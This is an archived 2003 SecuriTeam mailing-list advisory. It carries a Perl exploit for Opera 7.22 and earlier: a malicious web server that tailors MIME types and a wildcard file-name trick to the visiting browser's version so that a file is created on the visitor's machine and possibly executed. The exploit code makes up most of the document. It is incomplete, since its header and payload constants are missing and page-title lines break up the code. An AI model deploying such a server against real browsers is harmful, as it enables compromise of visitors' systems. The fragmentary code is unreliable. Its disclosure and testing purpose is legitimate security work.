

[EXPL] Opera File Creation and Execution Exploit (Malicious Web Server)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0091.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/23/03

To: list@securiteam.com

Date: 23 Nov 2003 12:50:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Opera File Creation and Execution Exploit (Malicious Web Server)

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/exploits/6W00J2K8UI.html>> Opera Skinned and Opera Directory Traversal (Exploit), an exploit has been provided to allow an administrator to test his system for the mentioned Opera vulnerabilities.

The following exploit code creates a special web server that can also be used to test your Opera installation for the mentioned vulnerability.

DETAILS

Vulnerable systems:

* Opera version 7.22 and prior

Exploit:

```
#!/usr/bin/perl
```

```
#####
```

```
#
```

```
# Sample code of
```


Securiteam: [EXPL] Opera File Creation and Execution Exploit (Malicious Web Server)

```
application/x-opera-skin
);
my $port = ($ARGV[0] || 10080) + 0;
die("port is not correct") unless (0 < $port && $port < 65536);

my $daemon = new HTTP::Daemon(LocalPort=>$port, Reuse=>REUSE)
or die("HTTP::Daemon->new() error : $!.\\n");
select(STDERR);
printf("[*] server started on %d.\\n", $daemon->sockport());

while (my $con = $daemon->accept()) {
    printf("[*] incoming client : from %s:%d(%08X).\\n",
        inet_ntoa($con->peeraddr()), $con->peerport(), $con);
    if (my $req = $con->get_request()) {
        print("\\n[*] request received...\\n", map{" >> $_\\n"}
            ($req->as_string() =~ /^(^[^\\r\\n]+)/mg)) if (VIEW_DATA);
        if ($req->method eq 'GET') {
            my $url = URL;
            my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS));
            $res->protocol("HTTP/1.0");
            if ($req->url->path eq '/') {
                $res->header('Content-type'=>'text/html');
                $res->content(qq~Click here~);
            } else {

                my $mimetype = $MIMETYPES[rand(@MIMETYPES)];
                if ($req->header('User-Agent')=~m~Opera[\\s+]/((\\d\\.\\d)\\d)~i){
                    # Opera 7.0x
                    if ($2 eq "7.0") {
                        $url .= '*.zip';# '*' is a special char :-)
                        $mimetype = $MIMETYPES[$#MIMETYPES];
                    }
                    # Opera 7.22
                } elsif ($1 eq "7.22") {
                    $mimetype = $MIMETYPES[rand(@MIMETYPES-2)];
                }
            }

            $res->header('Content-type'=>$mimetype);
            $res->content(FILE_CONTENT);
        }
        $con->send_response($res);
        print("\\n[*] response sent...\\n", map{" >> $_\\n"}
            ($res->as_string() =~ /^(^[^\\r\\n]+)/mg)) if (VIEW_DATA);
    } else {
        $con->send_error(RC_METHOD_NOT_ALLOWED);
    }
}
printf("[*] client closed : from %s:%d (%08X).\\n",
    inet_ntoa($con->peeraddr()), $con->peerport(), $con);
$con->close();
```

Securiteam: [EXPL] Opera File Creation and Execution Exploit (Malicious Web Server)

```
undef($con);  
}  
print("[*] server closed.\n");  
$daemon->close();  
undef($daemon);
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:nesumin@softhome.net>
nesumin.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.